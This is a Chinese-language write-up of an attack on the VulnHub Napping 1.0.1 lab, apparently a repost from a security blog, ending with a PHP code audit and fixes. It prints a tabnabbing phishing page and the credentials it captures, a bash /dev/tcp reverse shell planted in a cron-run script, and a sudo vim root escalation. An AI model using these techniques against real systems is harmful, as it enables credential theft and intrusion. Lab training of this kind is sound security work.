大余每日一攻防NAPPING-1.0.1(五)

admin 2023年12月6日09:01:12评论15 views字数 3166阅读10分33秒阅读模式

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。 代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一首歌送给你们,一首歌一攻防一项目!好久不见送给大家!

一、网络枚举

大余每日一攻防NAPPING-1.0.1(五)
1701777053_656f0e9d5a771066ac8e7.png!small?1701777054987

大余每日一攻防NAPPING-1.0.1(五)

发现IP地址:192.168.2.222

二、web系信息收集

大余每日一攻防NAPPING-1.0.1(五)

发现是个登录界面,还可以注册,先注册一个账户试试:

http://192.168.2.222/register.php
大余每日一攻防NAPPING-1.0.1(五)
1701777072_656f0eb015af5b0523e23.png!small?1701777072702

注册完成后登录进去:

大余每日一攻防NAPPING-1.0.1(五)

发现有个输入框,看样子是提交连接,随便写入一个地址试试:

提交之后再点击Here会跳转到你输入的连接:

大余每日一攻防NAPPING-1.0.1(五)
大余每日一攻防NAPPING-1.0.1(五)

查看源代码,发现站点上有特定URL链接功能会容易受到Tab Nabbing的攻击:

大余每日一攻防NAPPING-1.0.1(五)

三、漏洞攻击

使用Tab Nabbing攻击,先做个钓鱼界面,首先先复制登录界面:

wget 192.168.2.222/index.php

大余每日一攻防NAPPING-1.0.1(五)

构建我们的恶意html界面:dayu.html

<!DOCTYPE html><html><body>    <script>    	if(window.opener) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');    	if(window.opener  != window) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');    </script></body></html>
大余每日一攻防NAPPING-1.0.1(五)
1701777104_656f0ed0dd69b0fceb067.png!small?1701777105563

把自己复制的index.php和dayu.html页面放到/var/www/html下,并且开启python-http服务,开的80 端口,和dayu.html中的端口区分开:

大余每日一攻防NAPPING-1.0.1(五)

http://192.168.2.139/dayu.html

大余每日一攻防NAPPING-1.0.1(五)

点击提交即可,监听的8000端口返回了数据包:
大余每日一攻防NAPPING-1.0.1(五)

username=danielpassword=C@ughtm3napping123

得到了用户名和密码,我们可以通过ssh进行登录。

四、信息收集

ssh登录进行信息收集!可以看到daniel是管理员组的一部分,使用find我们可以查找组给可执行文件:

大余每日一攻防NAPPING-1.0.1(五)
查看一下query.py文件:
大余每日一攻防NAPPING-1.0.1(五)
根据site_status.txt文件,它似乎每2分钟执行一次!

五、提权

需要先跳转到adrian用户,所以继续在/dev/shm目录中创建一个反向shell bash脚本:

#!/bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.2.139/1234 0>&1'
大余每日一攻防NAPPING-1.0.1(五)
1701777138_656f0ef24f4045a299b54.png!small?1701777139161

需要更改一下query.py这个脚本来让他定时反弹shell:

import os

now = datetime.now()os.system('/usr/bin/bash /dev/shm/shell.sh')

大余每日一攻防NAPPING-1.0.1(五)

大余每日一攻防NAPPING-1.0.1(五)
过一会获得反弹shell!!

大余每日一攻防NAPPING-1.0.1(五)
1701777164_656f0f0c31a146bc781ce.png!small?1701777164963
(root) NOPASSWD: /usr/bin/vim

发现可以再没有在没有密码的情况下以root身份运行vim,那就直接写入Vim-shell:

sudo /usr/bin/vim -c ':!/bin/sh'

大余每日一攻防NAPPING-1.0.1(五)

成功获得root权限!

六、代码审计

大余每日一攻防NAPPING-1.0.1(五)

大余每日一攻防NAPPING-1.0.1(五)

这段PHP代码主要用于一个博客促销站点用,让用户提交博客链接。在审计时,我们主要关注以下几个方面:1、SQL注入

$input = $mysqli->real_escape_string($_POST['url']);$sql = "INSERT INTO links (link) VALUES ('$input')";

在这里,real_escape_string用于转义输入,可以防止直接的SQL注入。但是更推荐使用预处理语(Prepared Statements)来提高安全性。

2、XSS攻击

$message = "Thank you for your submission, you have entered: <a href='$input' target='_blank' >Here</a>";

$input没有进行HTML转义,可能导致存储型XSS攻击。可以使用htmlspecialchars函数对输出进行转义。

3、会话管理

if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){    header("location: index.php");    exit;}

会话管理看起来没问题,但具体的实现可能需要更详细的审查。确保在所有关键操作之前都有适当的身份验证和授权检查。

4、数据库连接

$mysqli = new mysqli("localhost", "adrian", "P@sswr0d456", "website");

数据库连接信息直接硬编码在代码中,这样做不是最佳方法。最好将这些信息存储在配置文件中,并确保配置文件的访问权限受到限制。

5、加入验证鉴于这是一个用户输入的博客链接,建议在接收和显示链接时进行一些验证:

1)URL格式验证

使用PHP的filter_var函数结合FILTER_VALIDATE_URL过滤器来验证URL的格式。这可以帮助排除一些格式不正确的输入。

$input = $_POST['url'];if (!filter_var($input, FILTER_VALIDATE_URL)) {    // 不是有效的URL    $message = "Invalid URL format!";}

2)白名单验证 创建一个允许的博客域名白名单,只接受这些域名的链接。可以避免接受恶意的或者不受信任的链接。

$allowed_domains = array("example.com", "blog.com");$input = $_POST['url'];

$parsed_url = parse_url($input);if ($parsed_url === false || !in_array($parsed_url['host'], $allowed_domains)) {    // 链接不在允许的域名列表中    $message = "Invalid or unauthorized domain!";}

这里使用parse_url函数提取链接的主机名。

3)安全的显示链接 当在页面上显示链接时,使用htmlspecialchars函数对链接进行HTML转义,以防止存储型XSS攻击。

echo "You have entered: <a href='" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "' target='_blank'>Here</a>";

这些验证步骤可以根据具体需求进行调整,确保用户输入的博客链接既符合预期的格式,提高安全性。

原文始发于微信公众号(大余安全):大余每日一攻防NAPPING-1.0.1(五)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月6日09:01:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   大余每日一攻防NAPPING-1.0.1(五)http://cn-sec.com/archives/2270860.html

发表评论

匿名网友 填写信息